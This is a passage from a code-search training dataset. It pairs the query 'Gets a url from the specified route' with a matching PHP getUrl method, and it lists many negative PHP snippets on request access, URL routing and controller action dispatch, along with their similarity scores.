getRequest()\n {\n return $this->requestFactory->getRequest();\n }", "public function getRequest()\n\t{\n\t\treturn $this->getComponent('request');\n\t}", "public function getRequest()\n {\n return $this->getComponent('request');\n }", "protected function getRequest()\n {\n return $this->req;\n }", "public function getRequest()\n {\n if (null === $this->lastRequest) {\n $this->lastRequest = $this->requestStack->getMasterRequest();\n }\n\n\n return $this->lastRequest;\n }", "public function getRequest()\n {\n return $this->req;\n }", "public function getRequest()\n {\n return $this->get(self::_REQUEST);\n }", "public function incomingRequest()\n\t{\n\t\treturn $this->request;\n\t}", "public function getRequest(): Request\n {\n return $this->request;\n }", "public function getRequest(): Request\n {\n return $this->request;\n }", "protected function _request() {\n\t\treturn $this->_container->request;\n\t}", "public function getReq()\n\t{\n\t\treturn $this->_request;\n\t}", "public function getRequest(): string\n {\n return $this->request;\n }", "public function getRequest()\n {\n assert(null != $this->request, 'Request must not be null');\n\n return $this->request;\n }", "protected function getRequest()\n {\n // Check if current request handler has a request object\n $controller = $this->getController();\n if ($controller && !($controller->getRequest() instanceof NullHTTPRequest)) {\n return $controller->getRequest();\n }\n // Fall back to current controller\n if (Controller::has_curr() && !(Controller::curr()->getRequest() instanceof NullHTTPRequest)) {\n return Controller::curr()->getRequest();\n }\n return null;\n }", "public function getRequest(): Request|\\Symfony\\Component\\HttpFoundation\\Request\n {\n return $this->request ?: Request::createFromGlobals();\n }", "private function _request()\n {\n if ($this->_request) {\n return $this->_request;\n }\n $this->_request = Zend_Controller_Front::getInstance()->getRequest();\n return $this->_request;\n }", "protected function obtainRequest() {\n return Request::createFromGlobals();\n }", "public function getRequest(): Request\n {\n return Model::getRequest();\n }", "protected function getHttpRequest() {\n\t\treturn $this->getRequest()->getHttpRequest();\n\t}", "public function request()\n {\n if (empty($this->request)) {\n $this->request = app()->request;\n }\n\n return $this->request;\n }", "public function getRequest()\n {\n return $this->riak->getLastRequest();\n }", "public function getRequest()\n {\n return $this->riak->getLastRequest();\n }", "public function &request() : \\Amvisie\\Core\\HttpRequest\n {\n return $this->request;\n }", "public function getRequest()\n {\n if (is_null($this->_request)) {\n $this->_request = new Request();\n }\n return $this->_request;\n }", "protected function getRequest()\n {\n return app(Request::class);\n }", "protected function getCurrentRequest():ServerRequestInterface {\n return $this->requestStack->getCurrentRequest();\n }", "public function getRequest()\n\t{\n\t\treturn $this->compose('Request', 'Http\\Requests');\n\t}", "protected function getRequest(): RequestInterface\n {\n return $this->request;\n }", "public function getRequest(): Request\n {\n return BackendModel::getRequest();\n }" ]
[ "0.92806315", "0.89473426", "0.8830191", "0.8757358", "0.87196976", "0.87111527", "0.86888975", "0.86888975", "0.86888975", "0.86637765", "0.86528534", "0.8652449", "0.8652449", "0.8648066", "0.86359715", "0.8635416", "0.8635416", "0.8635416", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8611303", "0.8608522", "0.8608091", "0.85827464", "0.8581145", "0.85798013", "0.85624504", "0.85624504", "0.85596776", "0.85580945", "0.85580945", "0.85359216", "0.85325134", "0.852768", "0.8515415", "0.84977895", "0.84977895", "0.84977895", "0.84977895", "0.8481067", "0.84676015", "0.84554434", "0.84552777", "0.84470594", "0.83978975", "0.8377246", "0.83629686", "0.83590907", "0.83590907", "0.83422875", "0.83285147", "0.8310759", "0.8298461", "0.8284194", "0.82581264", "0.8257706", "0.8246599", "0.8209958", "0.8189459", "0.81569594", "0.81138307", "0.81138307", "0.8107258", "0.8095092", "0.80894405", "0.79989153", "0.7966964", "0.79573023", "0.7904103", "0.78866297", "0.78674275", "0.7863795", "0.7859696", "0.7826104", "0.7826104", "0.77409464", "0.7732289", "0.7665341", "0.7635379", "0.7554529", "0.7532611", "0.75041574" ]
0.80823326
83
Gets a url from the specified route
public function getUrl($route, array $args = null) { return $this->getRequest()->getBaseDir() . $this->getService('router')->getUrl($route, $args) ; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getRoute($url);", "public function getUrl($route = '', $params = []);", "public function getUrl($route, array $args = null);", "public function getUrl($route = '') {\r\n\t\treturn $this->protocol.'://'.$this->host.$this->getUri($route);\r\n\t}", "public function getUri($route = '') {\r\n\t\treturn $this->baseUrl.(($this->lang == $this->defLang) ? '' : ($this->lang.'/')).ltrim($route, '/');\r\n\t}", "private function getUrl($route = '', array $params = []) {\n return $this->urlBuilder->getUrl($route, $params);\n }", "public function getRoute();", "function route_url(string $route, array $params = [], string $amp = '&amp;') {\n return Micro::get(Router::class)->url($route, $params, $amp);\n }", "public static function get($route)\n {\n $path = preg_replace('/\\:(.*)/', '', self::$routes[$route]['url']);\n $args = func_get_args();\n\n if (count($args) > 1):\n unset($args[0]);\n foreach ($args as $arg):\n $path .= $arg . \"/\";\n endforeach;\n $path = rtrim($path, '/');\n endif;\n\n return ($path);\n }", "public function getUrl($route = '', $params = []) {\n \n return $this->urlBuilder->getUrl($route, $params);\n \n }", "public function getUrl($route='', $params=array())\n {\n return Mage::helper('adminhtml')->getUrl($route, $params);\n }", "protected function getUrl($route = '', $params = [])\n {\n return $this->urlBuilder->getUrl($route, $params);\n }", "abstract public function getRoute();", "static function route($url)\n {\n return App::router()->extractRoute($url);\n }", "public function getUrl(string $route = '', array $params = []): string\n {\n return $this->urlBuilder->getUrl($route, $params);\n }", "public function getUrl($route = '', $params = [])\n {\n return $this->urlBuilder->getUrl($route, $params);\n }", "public function getUrl($route = '', $params = [])\n {\n return $this->urlBuilder->getUrl($route, $params);\n }", "private function getRoute(){\n\t}", "public function getUrl($route = '', $params = [])\n {\n return $this->context->getUrlBuilder()->getUrl($route, $params);\n }", "public function getUrl($route = '', $params = [])\n {\n return $this->context->getUrlBuilder()->getUrl($route, $params);\n }", "public function getUrl($route = '', $params = [])\n {\n return $this->context->getUrlBuilder()->getUrl($route, $params);\n }", "public function getUrl($route = '', $params = [])\n {\n return $this->context->getUrlBuilder()->getUrl($route, $params);\n }", "public function getUrl($route, $params = []) {\n return $this->_getUrl($route, $params);\n }", "public static function makeUrl(string $route, array $params = []): string\n {\n $params['resource'] = $params['resource'] ?? static::uriKey();\n\n return route('admin.' . $route, $params, true);\n }", "public static function route($param = '')\n {\n return static::$URL.$param;\n }", "public function get_route()\n {\n }", "public function getUrl($route = '', $params = array())\n {\n $return = parent::getUrl($route, $params);\n if ($this->_isTigoMoneyOrder() && $this->_getDataHelper()->getSuccessContinueShoppingUrl()) {\n $return = $this->_getDataHelper()->getSuccessContinueShoppingUrl();\n }\n return $return;\n }", "public static function route($param)\n\t{\n\t\treturn static::$URL.$param;\n\t}", "public function getRoute($url){\n\n foreach($this->routes as $route){\n\n if ($route->isMatch($url)){\n\n return $route;\n\n }\n\n }\n\n throw new \\RuntimeException('bad url');\n\n }", "public function getRoute()\n {\n }", "public function getRoute($name){ }", "public function getRoute(): Route;", "public static function route($param)\n {\n return static::$URL.$param;\n }", "public static function route($param)\n {\n return static::$URL.$param;\n }", "public static function route($param)\n {\n return static::$URL.$param;\n }", "public static function route($param)\n {\n return static::$URL.$param;\n }", "public static function route($param)\n {\n return static::$URL.$param;\n }", "public function route($route, $param = null)\n\t{\n\t\tif($route == '/')\n\t\t{\n \treturn route('cupboard.index');\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn \\URL::route('cupboard.'.$route, $param);\n\t\t}\n\t}", "function findRoute($route = '') {\n $route = $route ? $route : FIRE_DEFAULT_ROUTE;\n return $this->_routes->get($route);\n }", "public static function getRoute($view=\"image\") {\n\t\n\t\t//the basic link without an Itemid\n\t\t$link = 'index.php?option=com_scaler';\n\t\n\t\t//search for menu\n\t\t$itemid = self::getItemId($view);\n\t\n\t\tif ($itemid)\n\t\t\t$link .= '&Itemid=' . $itemid;\n\t\telse\n\t\t\t$link .= '&view=' . $view;\n\t\n\t\treturn $link;\n\t}", "public static function getRoute() {\n\n\t\tif (self::_hasAdapter(get_class(), __FUNCTION__))\n\t\t\treturn self::_callAdapter(get_class(), __FUNCTION__);\n\n\t\t$route = (isset(self::$route_options['route'])) ? self::$route_options['route'] : null;\n\n\t\tself::_notify(get_class() . '::' . __FUNCTION__, $route);\n\t\t$route = self::_applyFilter(get_class(), __FUNCTION__, $route, array('event' => 'return'));\n\n\t\treturn $route;\n\t}", "function get()\n {\n $route = substr($_SERVER['REQUEST_URI'], 1);\n // $route = explode('?', $slug)[0];\n $route = rtrim($route, \"/\");\n $matches = explode('/', $route);\n\n\n $route = $this->bind($matches);\n\n if ($route) {\n // print_r($route);\n return $route['body'];\n } else {\n set_http_code(404);\n return $this->getErrorPage('404');\n }\n }", "function getRoute()\n{\n\t// Get the requested uri from the server exluding the domain name.\n\t$uri = strtok($_SERVER['REQUEST_URI'], '?');\n\n\t// Remove the site path from the uri so we only get the segments\n\t// that we actually want.\n\t$uri = str_replace(SITE_PATH, '', $uri);\n\n\treturn $uri;\n}", "protected function generateRouteUrl($route = null)\n {\n if (null === $route || strpos($route, '/') !== 0) {\n return $route;\n }\n\n if (null === $this->getRouteMatch()) {\n throw new Exception\\RuntimeException('No RouteMatch instance provided');\n }\n\n $routeName = $this->getRouteMatch()->getMatchedRouteName();\n\n if ($routeName === null) {\n throw new Exception\\RuntimeException('RouteMatch does not contain a matched route name');\n }\n\n $position = strpos($routeName, '/');\n\n if ($position !== false) {\n /**\n * If we request the name /, it will mean that we need to only get\n * the root part of the route without any other module route params\n */\n if ('/' === $route) {\n $results = substr($routeName, 0, $position);\n } else {\n $results = substr($routeName, 0, $position) . $route;\n }\n } else {\n if ('/' === $route) {\n $results = $routeName;\n } else {\n $results = $routeName . $route;\n }\n }\n\n return $results;\n }", "private static function getRegexUrl($route)\r\n {\r\n $route = self::quoteRegex($route);\r\n\r\n $route = preg_replace('/\\{:num\\}/', self::NUMBER, $route);\r\n $route = preg_replace('/\\{:alpha\\}/', self::ALPHA, $route);\r\n $route = preg_replace('/\\{[a-zA-Z0-9:$]+\\}/', self::ANY, $route);\r\n\r\n return $route;\r\n }", "public function getWebRoute(): string;", "public function getUrl($route = '', $params = [])\n {\n if (!array_key_exists('_secure', $params)) {\n $params['_secure'] = $this->getRequest()->isSecure();\n }\n return parent::getUrl($route, $params);\n }", "function getCurrentRoute() {\n $santitizedUrl = ''; \n if (!empty($_GET['route'])) {\n $santitizedUrl = trim($_GET['route']);\n }\n \n return $this->getMatchingRoute($santitizedUrl);\n }", "function route_uri(): string\n{\n return RouteController::getCurrentRoute()['uri'] ?? '';\n}", "final static function getRoute($route, array $args = NULL) {\n $abs_route = root . '/' . $route;\n if (isset($args)) {\n $abs_route .= '/' . implode('/', $args);\n }\n return $abs_route;\n }", "public function url($route, $parameters = array())\n {\n return $this['url_generator']->generate($route, $parameters, true);\n }", "public function url()\n {\n return $this->routeObject->url['uri'];\n }", "abstract protected function getRoute($destination);", "function route($route, $data = \"\")\n{\n if (!empty($data)) {\n $data = \"/{$data}\";\n }\n\n return App::get('base_url') . \"/{$route}\" . $data;\n}", "public function getURI()\t{\n\t\treturn $this->route;\n\t}", "public function getRoute($route) {\n return isset($this->routes[$route]) ? $this->routes[$route] : null;\n }", "protected function route()\n {\n return route($this->uri, $this->params);\n }", "public static function get(array $route) {\n if (isset($route['controller']) && isset($route['method'])) {\n $instance = self::getInstance();\n\n $route = $instance->_resolveAlias($route);\n\n if ($route !== null) {\n return $route;\n }\n }\n\n throw new notFound();\n }", "public function createUrl($manager, $route, $params)\n {\n $query = Request::find()\n ->where(['auth_item' => $route]);\n \n//echo $query->prepare(Yii::$app->db->queryBuilder)->createCommand()->rawSql;exit;\n $uriRoute = $query->one(); \n if(!empty($uriRoute->id)){\n return $uriRoute->uri;\n }\n return false;\n }", "protected function getUrl($route, $params = array(), $absolute = UrlGeneratorInterface::ABSOLUTE_PATH)\n {\n return $this->getContainer()->get('router')->generate($route, $params, $absolute);\n }", "public function generateURL($route): string\n {\n $responseURL = $this->getDomain() . '/' . $route;\n if (isset($_COOKIE['PluginSetPreview'])) {\n $responseURL .= '?pluginSetPreview=' . $_COOKIE ['PluginSetPreview'];\n }\n return $responseURL;\n }", "public static function route();", "public function getFullRoute();", "public function get_url();", "public function routeURL($url, $itemid, $jname = '', $route = true, $xhtml = true)\n\t{\n\t\t$event = new Event('onApplicationRoute');\n\n\t\t$event->setArgument('url', $url);\n\t\t$event->setArgument('itemid', $itemid);\n\t\t$event->setArgument('jname', $jname);\n\t\t$event->setArgument('route', $route);\n\t\t$event->setArgument('xhtml', $xhtml);\n\n\t\tFactory::getDispatcher()->triggerEvent($event);\n\n\t\treturn $event->getArgument('url');\n\t}", "public function getRoute(){\n return $this->route;\n }", "function getRoute() {\n\t\treturn $this->config()->route;\n\t}", "public function getRoute()\r\n {\r\n return $this->route;\r\n }", "function route($route_name)\n {\n global $router; \n return $router->generate($route_name);\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->route;\n }", "public function getRoute()\n {\n return $this->oauth_route;\n }", "public static function getFeedRoute($url)\n\t{\n\t\t// Get the router.\n\t\t$app = JApplication::getInstance('site');\n\t\t$router = $app->getRouter();\n\n\t\t// Make sure that we have our router\n\t\tif (!$router)\n\t\t{\n\t\t\treturn null;\n\t\t}\n\n\t\tif ((strpos($url, '&') !== 0) && (strpos($url, 'index.php') !== 0))\n\t\t{\n\t\t\treturn $url;\n\t\t}\n\n\t\t// Build route.\n\t\t$uri = $router->build($url);\n\t\t$url = $uri->toString(array('path', 'query', 'fragment'));\n\n\t\t// Replace spaces.\n\t\t$url = preg_replace('/\\s/u', '%20', $url);\n\n\t\t// Replace '/administrator'\n\t\t$url = str_replace('/administrator', '', $url);\n\n\t\t// Strip .html, just in case\n\t\t$url = str_replace('.html', '', $url);\n\n\t\t$url = htmlspecialchars($url);\n\n\t\treturn $url;\n\t}", "public static function route()\n {\n return self::$route;\n }", "public static function url($route, $scheme = false)\n {\n return Url::toRoute($route, $scheme);\n }", "function url($route,$params=array(),$ampersand='&')\n{\n\tif (Yii::app() instanceof CConsoleApplication)\n\t{\n\t\treturn Yii::app()->params['host'].Yii::app()->getUrlManager()->createUrl($route,$params,$ampersand);\n\t}\n\telse\t\n\t\treturn Yii::app()->createUrl($route,$params,$ampersand);\n}", "static function get($route, $callback){\n\t\treturn call_user_func_array(__NAMESPACE__ .'\\Route::load', func_get_args());\n\t}", "function define_route($route)\n {\n return $route !== '#' ? route($route) : '#';\n }", "public function get_matched_route()\n {\n }", "public function getRoute() {\n\t\treturn $this->route;\n\t}", "public function getRoute()\n\t{\n\t\treturn $this->route;\n\t}", "public function get($route, $controllerAction = '');", "public function getRoute() {\n \n return $this->route;\n \n }", "abstract public function getRouteMatch();", "public function GetRoute ()\n {\n // things that need to be figured out;\n $params = $this->GetPayload()->extract();\n $options = array ();\n\n if (null === $this->mRouter)\n {\n throw new Exception('No RouteStackInterface instance provided');\n }\n\n if ($this->mRouteName === null)\n {\n throw new Exception('RouteName not defined for ' . get_class($this));\n }\n\n $options['name'] = $this->mRouteName;\n\n $url = $this->mRouter->assemble($params, $options);\n\n return $url;\n }", "public function get_route($request_route) {\n\n\n if (array_key_exists($request_route[\"_method\"], $this->_routes)) {\n\n if (array_key_exists($request_route[\"_rule\"], $this->_routes[$request_route[\"_method\"]])) {\n return $this->_routes[$request_route[\"_method\"]][$request_route[\"_rule\"]];\n } else { // search for match routes\n\n foreach ($this->_routes[$request_route[\"_method\"]] as $_route) {\n\n if ($_route->_match) {\n\n $request_rule = explode(\"/\", trim($request_route[\"_rule\"], \"/\"));\n $permit_rule = explode(\"/\", trim($_route->_rule, \"/\"));\n\n if (count($request_rule) == count($permit_rule)) {\n $match = true;\n foreach ($request_rule as $index => $value) {\n\n if (($request_rule[$index] != $permit_rule[$index]) and ($permit_rule[$index] != ApplicationRoute::dynamical_segment)) {\n $match = false;\n break;\n }\n }\n if ($match) {\n\n $permit_match_rule = explode(\"/\", trim($_route->_match_rule, \"/\"));\n preg_match_all('@:([\\w]+)@', $_route->_match_rule, $segments, PREG_PATTERN_ORDER);\n $segments = $segments[0];\n\n // get methodları için locals'a yükle : değişkenler\n foreach ($segments as $segment) {\n if ($index = array_search($segment, $permit_match_rule)) {\n $_route->_locals[substr($segment, 1)] = $request_rule[$index];\n }\n }\n\n return $_route;\n }\n }\n }\n }\n }\n return null;\n //throw new ConfigurationException(\"Böyle bir yönlendirme mevcut değil\", $request_route[\"_method\"] . \":\" . $request_route[\"_rule\"]);\n }\n throw new ConfigurationException(\"Uzay çağında bizim henüz desteklemediğimiz bir method\", $request_route[\"_method\"]);\n }", "protected function getRoute ($route = null)\n {\n $route_requested = $this->replaceDirectorySeparator($route);\n $route_absolute = $this->replaceDirectorySeparator(realpath($this->absolute));\n\n // If it is absolute route\n if (!preg_match(\"/^\\/{2}/\", $route_requested))\n $route_requested = preg_replace(\"/^\\/(.+)/\", $route_absolute . \"/$1\", $route_requested);\n\n // Remove last slash `/`\n $route_requested = preg_replace(\"/(.+)\\/$/\", \"$1\", $route_requested);\n\n // Return to system slash `DIRECTORY_SEPARATOR`\n $route_requested = $this->replaceDirectorySeparator($route_requested, DIRECTORY_SEPARATOR);\n\n // Return\n return $route_requested;\n }", "public function getRoute() : string\n {\n return $this->route;\n }", "public function getApiRoute(): string;", "public function findByUrl(string $url): RoutingEntry;", "public function get($route, $callback)\r\n {\r\n $this->registerRoute(self::cleanUrl($route), $callback);\r\n }", "public function getUserRoute($route, array $user) {\n\t\t$route = Configure::read('User.routes.' . $route);\n\n\t\tif (!$route) {\n\t\t\treturn null;\n\t\t}\n\n\t\t$route = (array) $route;\n\n\t\tforeach ($route as &$value) {\n\t\t\tif ($value === '{id}') {\n\t\t\t\t$value = $user['id'];\n\n\t\t\t} else if ($value === '{slug}' && isset($user['slug'])) {\n\t\t\t\t$value = $user['slug'];\n\n\t\t\t} else if ($value === '{username}') {\n\t\t\t\t$value = $user[Configure::read('User.fieldMap.username')];\n\t\t\t}\n\t\t}\n\n\t\treturn $this->url($route);\n\t}", "protected function GET($route)\n {\n return $this->REQUEST('GET', $route);\n }", "public function getRouteMatch();", "public function getRoute($url) {\n\n\t\tforeach ($this->getRoutes() as $route) {\n\t\t\t// Route match ? CAtch the match and assign it to the route\n\t\t\tif ($matches = $route->match($url)) {\n\t\t\t\tif ($route->hasVars()) {\n\t\t\t\t\t$varNames = $route->getVars();\n\t\t\t\t\t$vars = [];\n\n\t\t\t\t\t// On commence à un car preg_match retourne dans le première élément toute l'URL (voir doc)\n\t\t\t\t\tfor ($i = 1; $i < count($matches) - 1; $i++) {\n\t\t\t\t\t\t// Clé : le nom de la variable avec le match associé à cette position \n\t\t\t\t\t\t$vars[$varNames[$i - 1]] = $matches[$i];\n\t\t\t\t\t}\n\n\t\t\t\t\t$route->setVars($vars);\n\n\t\t\t\t}\n\n\t\t\t\treturn $route;\n\t\t\t}\n\n\t\t}\n\t\tthrow new \\Exception(\"Error Processing Request : no route match\", 1);\n\t\t\n\t}" ]
[ "0.7969044", "0.77095366", "0.7695049", "0.75016326", "0.7209435", "0.718855", "0.71775043", "0.71334857", "0.7097974", "0.7069494", "0.7004759", "0.69976777", "0.69789064", "0.69508755", "0.6905447", "0.6817693", "0.6817693", "0.6810103", "0.66973996", "0.66973996", "0.66973996", "0.66973996", "0.66954696", "0.6685403", "0.6632582", "0.6585702", "0.65855694", "0.65726775", "0.6562587", "0.6541121", "0.65378153", "0.6530825", "0.65274924", "0.65274924", "0.65274924", "0.65274924", "0.65274924", "0.6474421", "0.6473022", "0.6441117", "0.64382106", "0.6425668", "0.6421172", "0.6380613", "0.63790816", "0.6378466", "0.63688815", "0.6362575", "0.63592094", "0.63250375", "0.63234156", "0.63189054", "0.6311364", "0.6296791", "0.6283642", "0.6274637", "0.6270628", "0.6245555", "0.624264", "0.6236964", "0.62351936", "0.623278", "0.6209222", "0.61815816", "0.61652994", "0.6161092", "0.61587304", "0.61395836", "0.6126877", "0.60975003", "0.60975003", "0.60975003", "0.60975003", "0.60975003", "0.60975003", "0.60975003", "0.6093063", "0.60901904", "0.6084043", "0.6068281", "0.60398275", "0.6038326", "0.60365105", "0.6029867", "0.60142446", "0.6004567", "0.60033506", "0.60012126", "0.59944594", "0.59925413", "0.5989088", "0.5985933", "0.59855914", "0.5979878", "0.5973237", "0.5970739", "0.5967684", "0.5959417", "0.5956508", "0.59322196" ]
0.63948745
43
Execute the specified action controller
public function execute($controller, $action, $params) { $instance = new $controller($this); return $instance->execute($action, $params); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function execute() {\n\t\t$controller = $this->manager->get($this->getController());\n\t\t$reflection = new \\ReflectionClass($controller);\n\t\t$controller->run( $this->getAction($reflection) );\n\t}", "private function executeAction($controller, $action) {\t\tif(!method_exists($controller, $action))\n\t\t\t$action = 'index';\n\t\t// Finally call controller method\n\t\t$controller->$action();\n\t}", "public final function run()\n\t{\n\t\t$controllerClass = ucfirst(App::request()->getControllerName());\n\t\t$actionName = App::request()->getActionName().Request::ACTION_SUFFIX;\n\n\t\t$this->_execute($controllerClass, $actionName);\n\t}", "public function execute()\n {\n $controllerClassName = $this->requestUrl->getControllerClassName();\n $controllerFileName = $this->requestUrl->getControllerFileName();\n $actionMethodName = $this->requestUrl->getActionMethodName();\n $params = $this->requestUrl->getParams();\n \n if ( ! file_exists($controllerFileName))\n {\n exit('controlador no existe');\n }\n\n require $controllerFileName;\n\n $controller = new $controllerClassName();\n\n $response = call_user_func_array([$controller, $actionMethodName], $params);\n \n $this->executeResponse($response);\n }", "protected function executeAction() {}", "protected function executeAction() {}", "protected function executeAction() {}", "protected function executeAction() {}", "public function run()\n {\n $route = $this->route->mapRoute();\n\n $className = $this->controllerNamespace.$route[0];\n\n $action = $route[1];\n\n $controller = call_user_func([$className, 'getInstance']);\n\n $controller->$action();\n }", "public function run()\n \t{\n \t\t$controller = $this->factoryController();\n\n \t\t$action = $this->_currentAction;\n\n \t\t$controller->$action();\n \t}", "public function executeAction() {\r\n\t\t\r\n\t}", "public function run() \n\t{\n\t\tcall_user_func_array(array(new $this->controller, $this->action), $this->params);\t\t\n\t}", "protected function executeAction()\n {\n $this->triggerEvent( __FUNCTION__ . '.pre');\n if ($this->flowEvaluator->executeActionInFlow()) {\n $this->triggerEvent(__FUNCTION__ . '.success');\n $this->manageExecutedAction();\n } else {\n $this->triggerEvent(__FUNCTION__ . '.fail');\n }\n $this->triggerEvent( __FUNCTION__ . '.post');\n }", "protected function executeAction() {\n \n }", "function Execute()\n\t\t{\n\t\t\t$controller = new $this->CONTROLLER();\n\t\t\t$controller->Initialise($this->get, $this->post, $this->files);\n\t\t\t$controller->StartFilters();\n\t\t\t$controller->{$this->ACTION}();\n\t\t\t$controller->StopFilters();\n\t\t}", "public function run()\n {\n call_user_func_array(array(new $this->controller, $this->action), $this->params);\n }", "function callControllerAction() {\n $santitizedUrl = ''; \n if (!empty($_GET['route'])) {\n $santitizedUrl = trim($_GET['route']);\n }\n\n $route = $this->getMatchingRoute($santitizedUrl);\n if ($route != null) {\n $actionValues = explode('/', ltrim(str_replace($route->getUrl(), '', $santitizedUrl), '/'));\n $controllerName = $route->getControllerName();\n $controllerName = $controllerName . 'Controller'; \n $controller = new $controllerName;\n $action = $route->getActionName();\n $controller->$action($actionValues);\n } else {\n // If we've entered this else section, we've effectively been unable to match\n // the specified url to a registered route. Normally we would throw a 404\n // error and return a user friendly message stating so, however, I'm leaving\n // that as an exersize for the reader\n }\n \n }", "function executeController()\r\n{\r\n\t// Uri and figure out the path to the controller.\r\n\t$request = trim($_GET['request'], \"/ \");\r\n\t\r\n\tif ($request != '') {\r\n\t // Using the URL segments, construct the name of the class.\r\n\t // Note: The class name is mapped to the directory structure.\r\n\t $reqSegments = explode(\"/\", $request);\r\n\t}\r\n\t\r\n\t$controllerName = 'App_Pages_';\r\n\t$controllerName .= ($reqSegments[0])?$reqSegments[0]:'Index';\r\n\t$controllerName .= '_Controller';\r\n\t\r\n\t$actionName = ($reqSegments[1])?$reqSegments[1]:'index';\r\n\r\n\tif (class_exists($controllerName)) {\r\n\t\tif (method_exists($controllerName, $actionName)) {\r\n\t\t\t$controller = new $controllerName();\r\n\t\t\t$controller->$actionName();\r\n\t\t} else {\r\n\t\t\tdie('Page not found');\r\n\t\t}\r\n\t} else {\r\n\t\tdie('Page not found');\r\n\t}\r\n}", "public function executeAction() {\n return $this->{$this->action}();\n }", "public function run() {\r\n\t\tif (isset($_GET['action'])) {\r\n\t\t\t$action = strtolower($_GET['action']);\r\n\t\t} else {\r\n\t\t\t$action = 'index';\r\n\t\t}\r\n\t\t\r\n\t\tif ($this->checkAccess($action)) {\r\n\t\t\t$action = \"action\" . ucwords($action);\r\n\t\t} else {\r\n\t\t\t$action = \"actionNotAllowed\";\r\n\t\t}\r\n\t\t\r\n\t\tif (method_exists($this, $action)) {\r\n\t\t\t$this->$action();\r\n\t\t} else {\r\n\t\t\t$this->invalidAction($action);\r\n\t\t}\r\n\t}", "public function call()\n {\n $controllerClass = self::toClass( $this->controller );\n $actionMethod = self::toMethod( $this->action );\n \n $controllerClass::$actionMethod( $this, $this->params );\n }", "protected function executeAction() {\r\n\t\t$this->objectAction->validateAction();\r\n\t\t$this->objectAction->executeAction();\r\n\t\t\r\n\t\t$this->handleResult();\r\n\t}", "public function runController($controllerClass, $action, Request $request, Route $route=null);", "public function doAction($actionName);", "public function invoke($action);", "private function _execute($controller, $action, $params=null)\n\t{\n $controllerObj = App::controller($controller);\n\n\t\t$inst = Request::CONTROLLER_SUFFIX;\n\t\tif (!($controllerObj instanceof $inst))\n\t\t\tthrow new RequestException('Controller must be extends class - '.Request::CONTROLLER_SUFFIX, E_USER_ERROR);\n\n\t\tif( !method_exists($controllerObj,$action) && !method_exists($controllerObj,'__call') )\n\t\t\tthrow new RequestException('Can\\'t find method '.$action);\n\n $run = true;\n if(method_exists($controllerObj, Request::BEFORE_ACTION_PREFIX.ucfirst($action)))\n {\n $run = $run && call_user_func(array($controllerObj, Request::BEFORE_ACTION_PREFIX.ucfirst($action)), $params);\n }\n \n if($run)\n call_user_func(array($controllerObj, $action), $params);\n \n if(method_exists($controllerObj, Request::AFTER_ACTION_PREFIX.ucfirst($action)))\n {\n call_user_func(array($controllerObj, Request::AFTER_ACTION_PREFIX.ucfirst($action)), $params);\n }\n\n\t\t$controllerObj->_end();\n\t}", "public function run()\n {\n if ($this->match()) {\n $path = 'AlDente\\controllers\\\\' . ucfirst($this->params['controller']) . 'Controller';\n if (class_exists($path)) {\n $action = $this->params['action'] . 'Action';\n if (method_exists($path, $action)) {\n $controller = new $path($this->params);\n $controller->$action();\n } else {\n View::errorCode(404);\n }\n } else {\n View::errorCode(404);\n }\n } else {\n View::errorCode(404);\n }\n }", "public final function dispatch() {\n\t\t$request = PhpBB::getInstance()->getRequest();\n\n\t\tif ($this->controller != NULL) {\n\t\t\treturn $this->handleResponse(\n\t\t\t\t$this->controller->executeAction(\n\t\t\t\t\tself::getAction($request),\n\t\t\t\t\tself::getParameters($request)\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t\treturn $this->handleResponse(new Error404());\n\t}", "abstract public function getControllerAction();", "public function run()\n\t{\n\t\t$_controller = $this->getController();\n\t\t\n\t\tif ( ! ( $_controller instanceof IXLRest ) )\n\t\t{\n\t\t\t$_controller->missingAction( $this->getId() );\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t//\tCall the controllers dispatch method...\n\t\t$_controller->dispatchRequest( $this );\n\t}", "public function execute()\n {\n if ($this->argument === NULL) {\n $this->controller->{$this->action}();\n }\n else {\n $this->controller->{$this->action}($this->argument);\n }\n\n // TODO: check for non-default template\n $template = DEFAULT_TEMPLATE;\n\n $view = new AppView($this->page, $template);\n $view->show_view_with_context_variables($this->controller->getModelViewContext());\n }", "public function action()\n {\n foreach ($this->actions as $action) {\n $action->run();\n }\n }", "protected function ExecAction() {\r\n if (self::$sAction == \"new\")\r\n //self::$sAction = \"edit\";\r\n self::$sAction = \"add\";\r\n\r\n // Ищем контроллер\r\n $sControllerPath = \"/var/www/ad/app/controllers/\".self::$sController.\"_controller.php\";\r\n if (file_exists($sControllerPath)) {\r\n require_once($sControllerPath);\r\n\r\n $aClassPathComponents = explode(\"/\",self::$sController);\r\n $sClass = $aClassPathComponents[count($aClassPathComponents)-1];\r\n $sClass = ucfirst($sClass);\r\n $sClass = preg_replace_callback('/_([a-z])/', create_function('$c', 'return strtoupper($c[1]);'), $sClass);\r\n $sControllerClass = $sClass.\"Controller\";\r\n\r\n $this->oController = new $sControllerClass(self::$sController,self::$sAction);\r\n $this->oController->parameters = self::$aParameters;\r\n\r\n foreach(self::$aObjects as $oObject) {\r\n $sName = strtolower(get_class($oObject));\r\n $this->oController->$sName = $oObject;\r\n }\r\n call_user_func_array(array($this->oController,self::$sAction),self::$aObjects);\r\n\r\n return true;\r\n }\r\n }", "function execute()\n\t{\t\n\t\t// Check for requested action\n\t\t$app_action = isset($_REQUEST['ax']) ? $_REQUEST['ax'] : 'startup_view';\n\t\t\n\t\tif(method_exists($this,$app_action))\n\t\t{\n\t\t\t// Call requested action\n\t\t\t$this->$app_action();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->default_action($app_action);\n\t\t}\n\t}", "public function execute($controllerAction = 